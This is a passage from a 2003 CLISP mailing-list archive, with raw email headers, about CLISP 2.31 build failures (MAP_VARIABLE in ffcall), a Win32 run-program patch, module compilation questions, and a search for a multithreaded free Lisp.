3.31-VA-mm2 #1 (Debian)) id 19ujSR-0001OR-00 for ; Wed, 03 Sep 2003 19:02:47 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19ujSR-0005mj-7n for clisp-list@lists.sourceforge.net; Wed, 03 Sep 2003 19:02:47 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id AA06010DE30; Wed, 3 Sep 2003 22:02:46 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h8422k7G018278; Wed, 3 Sep 2003 22:02:46 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h8422kn6018275; Wed, 3 Sep 2003 22:02:46 -0400 Message-Id: <200309040202.h8422kn6018275@van-halen.alma.com> From: "John K. Hinsdale" To: phalgune@cs.orst.edu Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from amit phalgune on Wed, 3 Sep 2003 17:51:54 -0700 (PDT)) Subject: Re: [clisp-list] Sockets in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 3 19:03:11 2003 X-Original-Date: Wed, 3 Sep 2003 22:02:46 -0400 > Once the CLISP function SOCKET-SERVER returns, your Lisp server > program is in a state where it is not "listening" for connections. Oops, I meant to say: Once the CLISP function SOCKET-SERVER returns, your Lisp server program is in a state where it is NOW "listening" for connections. From phalgune@jasper02.CS.ORST.EDU Wed Sep 03 23:38:25 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19unlB-0004Zo-00 for ; Wed, 03 Sep 2003 23:38:25 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19unlB-0003g4-73 for clisp-list@lists.sourceforge.net; Wed, 03 Sep 2003 23:38:25 -0700 Received: from jasper02.CS.ORST.EDU (jasper02.CS.ORST.EDU [128.193.39.109]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h846cDCb028079 for ; Wed, 3 Sep 2003 23:38:13 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper02.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h846cCJJ018204 for ; Wed, 3 Sep 2003 23:38:12 -0700 (PDT) From: amit phalgune To: clisp-list@lists.sourceforge.net In-Reply-To: <200309040202.h8422kn6018275@van-halen.alma.com> Message-ID: References: <200309040202.h8422kn6018275@van-halen.alma.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] General info sought from LISP guru's Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 3 23:39:05 2003 X-Original-Date: Wed, 3 Sep 2003 23:38:12 -0700 (PDT) Hi, I am looking for a LISP implementation ( preferably free ) (open source) which supports multithreading and runs on windows, Max OS 10 , Unix and or Sun machines. Any pointers on this will be of great help Thanks in advance Amit From seniorr@aracnet.com Thu Sep 04 01:50:15 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19upol-0004V4-00 for ; Thu, 04 Sep 2003 01:50:15 -0700 Received: from mail.tdb.com ([216.99.214.4]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 19upol-0006Pq-9H for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 01:50:15 -0700 Received: (qmail 20115 invoked from network); 4 Sep 2003 08:50:11 -0000 Received: from unknown (HELO coulee.tdb.com) (192.168.0.2) by mail.tdb.com with SMTP; 4 Sep 2003 08:50:11 -0000 Received: (qmail 15901 invoked by uid 1001); 4 Sep 2003 08:50:11 -0000 To: clisp-list@lists.sourceforge.net References: From: Russell Senior In-Reply-To: <20030904003913.GA14093@bakunin.copyleft.de> Message-ID: <86u17tued8.fsf_-_@coulee.tdb.com> Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: [clisp-announce] GNU CLISP 2.31 release Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 01:51:03 2003 X-Original-Date: 04 Sep 2003 01:50:11 -0700 I am having a problem building CLISP 2.31 on a gentoo system (linux-2.4.20-gentoo-r6) with glibc-2.3.2. It is failing at: gcc -O3 -mcpu=pentium3 -funroll-loops -pipe -I. -I../../../ffcall/callback/trampoline_r -c ../../../ffcall/callback/trampoline_r/trampoline.c -o trampoline.o ../../../ffcall/callback/trampoline_r/trampoline.c: In function `alloc_trampoline_r': ../../../ffcall/callback/trampoline_r/trampoline.c:455: `MAP_VARIABLE' undeclared (first use in this function) ../../../ffcall/callback/trampoline_r/trampoline.c:455: (Each undeclared identifier is reported only once ../../../ffcall/callback/trampoline_r/trampoline.c:455: for each function it appears in.) make[2]: *** [trampoline.lo] Error 1 make[2]: Leaving directory `/var/tmp/portage/clisp-2.31/work/clisp-2.31/src/callback/trampoline_r' make[1]: *** [all-subdirs] Error 2 make[1]: Leaving directory `/var/tmp/portage/clisp-2.31/work/clisp-2.31/src/callback' make: *** [callback.h] Error 2 Grepping the the CLISP source I don't find a MAP_VARIABLE and grepping in /usr/include/ (on either the Gentoo or a Debian system) I don't find it either. Help? -- Russell Senior ``shtal latta wos ba padre u prett tu nashtonfi seniorr@aracnet.com mrlosh'' -- Bashgali Kafir for ``If you have had diarrhoea many days you will surely die.'' From tcss@kometa.dp.ua Thu Sep 04 04:52:43 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19usfL-0005x2-00 for ; Thu, 04 Sep 2003 04:52:43 -0700 Received: from mail.alkar.net ([195.248.191.95]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19usfK-0003xY-Tc for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 04:52:43 -0700 Received: from [195.248.160.145] (HELO freebsd.kometa.dp.ua) by mail.alkar.net (CommuniGate Pro SMTP 4.1.3) with ESMTP id 101692379 for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 14:52:31 +0300 Received: from BEE (tcss.kometa.dp.ua [192.168.3.23]) by freebsd.kometa.dp.ua (8.11.3/8.11.3) with ESMTP id h84BqUb14778 for ; Thu, 4 Sep 2003 14:52:31 +0300 (EEST) (envelope-from tcss@kometa.dp.ua) From: Stanislav Tsekhmistroh X-Mailer: The Bat! (v1.60h) Reply-To: Stanislav Tsekhmistroh Organization: Kometa Ltd. X-Priority: 3 (Normal) Message-ID: <1136583676.20030904145349@kometa.dp.ua> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] runprog.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 04:53:07 2003 X-Original-Date: Thu, 4 Sep 2003 14:53:49 +0300 Hi! I found some trouble using this under Win32: > (run-program ... :wait nil) I. e. spawning new process does not work properly on Win32 (meaning of "&" is different) Details: product version: GNU CLISP 2.30 (released 2002-09-15) source file: "runprog.lisp", lines: 176-177 function: run-shell-command these lines: > (unless wait > (setq command (string-concat command " &"))) need to be rewrited like this: > #-WIN32 > (unless wait > (setq command (string-concat command " &"))) > #+WIN32 > (unless wait > (setq indirectp t) > (setq command (string-concat "start " command))) -- Best regards, Stanislav mailto:tcss@kometa.dp.ua From kraehe@copyleft.de Thu Sep 04 06:20:02 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uu1m-0000rU-00 for ; Thu, 04 Sep 2003 06:19:58 -0700 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uu1l-0008Vt-MX for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 06:19:57 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout2.freenet.de with asmtp (Exim 4.21) id 19uu1j-0003hW-L9; Thu, 04 Sep 2003 15:19:55 +0200 Received: from olli.mcbone.net ([194.97.50.59] helo=bakunin.copyleft.de) by mx0.freenet.de with esmtp (Exim 4.22 #1) id 19uu1j-00048H-6M; Thu, 04 Sep 2003 15:19:55 +0200 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 19uu2C-0007SB-00; Thu, 04 Sep 2003 15:20:24 +0200 From: Michael Koehne To: amit phalgune , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] General info sought from LISP guru's Message-ID: <20030904132024.GA28603@bakunin.copyleft.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 06:21:08 2003 X-Original-Date: Thu, 4 Sep 2003 15:20:24 +0200 Moin Amit, > I am looking for a LISP implementation ( preferably free ) (open source) > which supports multithreading and runs on windows, Max OS 10 , Unix and or > Sun machines. Any pointers on this will be of great help *hm* 2105 Jan 5 1999 clisp-2.31/doc/multithread.txt : : is currently being developed and does not work yet. this quote is ages old. And i dont know, if its true, because ./src/threads.lisp is from Jan 2003. You can try to get/patch the existing clisp code up and running *nudge* the other pointer I know about is someone on irc.freenode.net#lisp, who has his own multithreaded SBCL. But I doubt, that that his SBCL is portable accross named platforms. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From ampy@ich.dvo.ru Thu Sep 04 06:44:47 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uuPn-0004Bu-00 for ; Thu, 04 Sep 2003 06:44:47 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uuPm-0005EG-Qz for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 06:44:47 -0700 Received: from ppp132-AS-5.vtc.ru (ppp132-AS-5.vtc.ru [212.16.207.132]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h84DiKqQ000521; Fri, 5 Sep 2003 00:44:22 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <8018837877.20030905004643@ich.dvo.ru> To: Stanislav Tsekhmistroh CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] runprog.lisp In-reply-To: <1136583676.20030904145349@kometa.dp.ua> References: <1136583676.20030904145349@kometa.dp.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 06:45:10 2003 X-Original-Date: Fri, 5 Sep 2003 00:46:43 +1000 Hello Stanislav, Thursday, September 04, 2003, 9:53:49 PM, you wrote: >> #-WIN32 >> (unless wait >> (setq command (string-concat command " &"))) >> #+WIN32 >> (unless wait >> (setq indirectp t) >> (setq command (string-concat "start " command))) Hm.. Why didn't we think of start... Thank you! -- Best regards, Arseny From kraehe@copyleft.de Thu Sep 04 06:55:54 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uuaY-0007Fd-00 for ; Thu, 04 Sep 2003 06:55:54 -0700 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uuaY-00050u-5i for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 06:55:54 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout2.freenet.de with asmtp (Exim 4.21) id 19uuaU-0006hm-Oy; Thu, 04 Sep 2003 15:55:50 +0200 Received: from olli.mcbone.net ([194.97.50.59] helo=bakunin.copyleft.de) by mx3.freenet.de with esmtp (Exim 4.22 #1) id 19uuaU-0006nV-9b; Thu, 04 Sep 2003 15:55:50 +0200 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 19uub1-0007U4-00; Thu, 04 Sep 2003 15:56:23 +0200 From: Michael Koehne To: Russell Senior , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: [clisp-announce] GNU CLISP 2.31 release Message-ID: <20030904135623.GB28603@bakunin.copyleft.de> References: <86u17tued8.fsf_-_@coulee.tdb.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <86u17tued8.fsf_-_@coulee.tdb.com> User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 06:56:21 2003 X-Original-Date: Thu, 4 Sep 2003 15:56:23 +0200 Moin Russell Senior, > Grepping the the CLISP source I don't find a MAP_VARIABLE and grepping > in /usr/include/ (on either the Gentoo or a Debian system) I don't > find it either. Help? this is probately because, ./ffcall/trampoline.c tries : MAP_ANONYMOUS | MAP_VARIABLE while ./configure checked for : MAP_ANONYMOUS | MAP_PRIVATE the fix needs to be done starting at ./src/autoconf/aclocal.m4 and ffcall/autoconf/aclocal.m4 with great care, because MAP_PRIVATE flag has other semantics in other sources. The ugly fix would be to define in trampoline: #ifdef MAP_FIXED #ifndef MAP_VARIABLE #define MAP_VARIABLE 0 #endif #endif MAP_VARIABLE is defined as the oposite of MAP_FIXED - its therefore zero, on systems that do not define it. btw: this did'nt happen on my Debian systems. But 2.31 failed regression test on both systems. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Thu Sep 04 07:10:18 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uuoU-0000U1-00 for ; Thu, 04 Sep 2003 07:10:18 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uuoS-0006cL-HC for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 07:10:16 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h84E9XD17593; Thu, 4 Sep 2003 10:09:34 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Dan Stanger Cc: References: <3F568B69.10BB666@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3F568B69.10BB666@ieee.org> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: Problems compiling gdi using clisp.h Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 07:11:06 2003 X-Original-Date: 04 Sep 2003 10:09:33 -0400 > * In message <3F568B69.10BB666@ieee.org> > * On the subject of "Problems compiling gdi using clisp.h" > * Sent on Wed, 03 Sep 2003 20:46:33 -0400 > * Honorable Dan Stanger writes: > > Atype_32Bit and local dont seem to be in clisp.h. > Should I be using something else? local = static. what do you need Atype_32Bit for? can you use Atype_8Bit instead? -- Sam Steingold (http://www.podval.org/~sds) running w2k Whether pronounced "leenooks" or "line-uks", it's better than Windows. From sds@gnu.org Thu Sep 04 07:20:43 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uuyZ-0001dY-00 for ; Thu, 04 Sep 2003 07:20:43 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uuyY-0005pK-86 for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 07:20:42 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h84EK5D19752; Thu, 4 Sep 2003 10:20:06 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Michael Koehne Cc: clisp-list@lists.sourceforge.net References: <20030904003913.GA14093@bakunin.copyleft.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030904003913.GA14093@bakunin.copyleft.de> Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: [clisp-announce] GNU CLISP 2.31 release Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 07:22:18 2003 X-Original-Date: 04 Sep 2003 10:20:05 -0400 > * In message <20030904003913.GA14093@bakunin.copyleft.de> > * On the subject of "Re: [clisp-announce] GNU CLISP 2.31 release" > * Sent on Thu, 4 Sep 2003 02:39:13 +0200 > * Honorable Michael Koehne writes: > > I just tried them, and I have bad news ;( 2.31 failed regression > test with a segmentation fault on Debian/Woody (stable / gcc 2.95.4) > and much before on Debian/Sarge (unstable / gcc 3.3.2). The Woody > system is still able to compile 2.30 - while the Sarge system also > fails on on clisp 2.30 - I'll step back to gcc 3.2.3 tomorrow. > > (PRINT 1 2) make[1]: *** [tests] Segmentation fault see Can you debug this? > ;; Loading file type.lisp ..../lisp.run: relocation error: /usr/lib/gconv/CP932.so: undefined symbol: STANDARD_ERR_HANDLER I have no idea what this might mean. are you using libiconv? what is your glibc version? > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o ari80386.o modules.o libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run > sync > ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" > > *** - FUNCALL: the function GRAY::STREAM-WRITE-CHAR-SEQUENCE is undefined > 1. Break> no idea. Bruno? -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a way of life. C is a way of death. From dan.stanger@ieee.org Thu Sep 04 07:28:38 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uv6E-00036y-00 for ; Thu, 04 Sep 2003 07:28:38 -0700 Received: from smtp2.localnet.com ([207.251.201.58] helo=smtp.localnet.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uv6D-0002ne-OQ for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 07:28:37 -0700 Received: (qmail 4301 invoked from network); 4 Sep 2003 14:28:20 -0000 Received: from ppp4.pm3-8.bos-pt.ma.localnet.com (HELO ieee.org) ([66.153.101.68]) (envelope-sender ) by mail1.localnet.com (qmail-ldap-1.03) with SMTP for ; 4 Sep 2003 14:28:20 -0000 Message-ID: <3F574B73.7003E65C@ieee.org> From: Dan Stanger X-Mailer: Mozilla 4.8 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <3F568B69.10BB666@ieee.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: Problems compiling gdi using clisp.h Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 07:29:29 2003 X-Original-Date: Thu, 04 Sep 2003 10:25:55 -0400 Sam Steingold wrote: > > * In message <3F568B69.10BB666@ieee.org> > > * On the subject of "Problems compiling gdi using clisp.h" > > * Sent on Wed, 03 Sep 2003 20:46:33 -0400 > > * Honorable Dan Stanger writes: > > > > Atype_32Bit and local dont seem to be in clisp.h. > > Should I be using something else? > > local = static. I am aware of that, but all of the clisp code uses local instead. Is there a plan to change local to static in the main line clisp code? If not, then shouldn't module writers be using clisp conventions? > > > what do you need Atype_32Bit for? > can you use Atype_8Bit instead? > I have not checked everywhere but in 2 places, I am passing in a array of integers. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Whether pronounced "leenooks" or "line-uks", it's better than Windows. From will@misconception.org.uk Thu Sep 04 07:47:53 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uvOr-0005Ds-00 for ; Thu, 04 Sep 2003 07:47:53 -0700 Received: from www.cmedltd.com ([194.201.210.209] helo=cmedltd.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 19uvOl-000820-Ux for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 07:47:48 -0700 Received: (qmail 12158 invoked from network); 4 Sep 2003 14:35:39 -0000 Received: from unknown (HELO horsham.cmedltd.com) (192.168.1.100) by webserver1.cmedltd.com (172.16.1.2) with SMTP; 04 Sep 2003 14:35:39 -0000 Received: (qmail 5009 invoked from network); 4 Sep 2003 14:47:03 -0000 Received: from unknown (HELO brogue.devel.cmedltd.com) (192.168.20.203) by cmedserver1.horsham.cmedltd.com (192.168.1.100) with ESMTP; 04 Sep 2003 14:47:03 -0000 From: Will Newton To: Michael Koehne Subject: Re: [clisp-list] Re: [clisp-announce] GNU CLISP 2.31 release User-Agent: KMail/1.5.3 Cc: clisp-list@lists.sourceforge.net References: <20030904003913.GA14093@bakunin.copyleft.de> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309041545.49160.will@misconception.org.uk> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 07:50:30 2003 X-Original-Date: Thu, 4 Sep 2003 15:45:49 +0100 On Thursday 04 September 2003 15:20, Sam Steingold wrote: > > ;; Loading file type.lisp ..../lisp.run: relocation error: > > /usr/lib/gconv/CP932.so: undefined symbol: STANDARD_ERR_HANDLER > > I have no idea what this might mean. > are you using libiconv? what is your glibc version? This is a Debian unstable glibc issue. Get the latest version. From lisp-clisp-list@m.gmane.org Thu Sep 04 08:07:18 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uvhe-00081X-00 for ; Thu, 04 Sep 2003 08:07:18 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uvhd-0002f9-BL for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 08:07:17 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19uvi4-0007re-00 for ; Thu, 04 Sep 2003 17:07:44 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19uvi3-0007rW-00 for ; Thu, 04 Sep 2003 17:07:43 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19uvhY-0007tE-00 for ; Thu, 04 Sep 2003 17:07:12 +0200 From: Sam Steingold Organization: disorganization Lines: 33 Message-ID: References: <86u17tued8.fsf_-_@coulee.tdb.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: ffcall thinks that HAVE_MMAP_ANONYMOUS ==> HAVE_MAP_VARIABLE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 08:20:21 2003 X-Original-Date: 04 Sep 2003 11:07:12 -0400 > * In message <86u17tued8.fsf_-_@coulee.tdb.com> > * On the subject of "Re: [clisp-announce] GNU CLISP 2.31 release" > * Sent on 04 Sep 2003 01:50:11 -0700 > * Honorable Russell Senior writes: > > I am having a problem building CLISP 2.31 on a gentoo system > (linux-2.4.20-gentoo-r6) with glibc-2.3.2. It is failing at: > > gcc -O3 -mcpu=pentium3 -funroll-loops -pipe -I. -I../../../ffcall/callback/trampoline_r -c ../../../ffcall/callback/trampoline_r/trampoline.c -o trampoline.o > ../../../ffcall/callback/trampoline_r/trampoline.c: In function 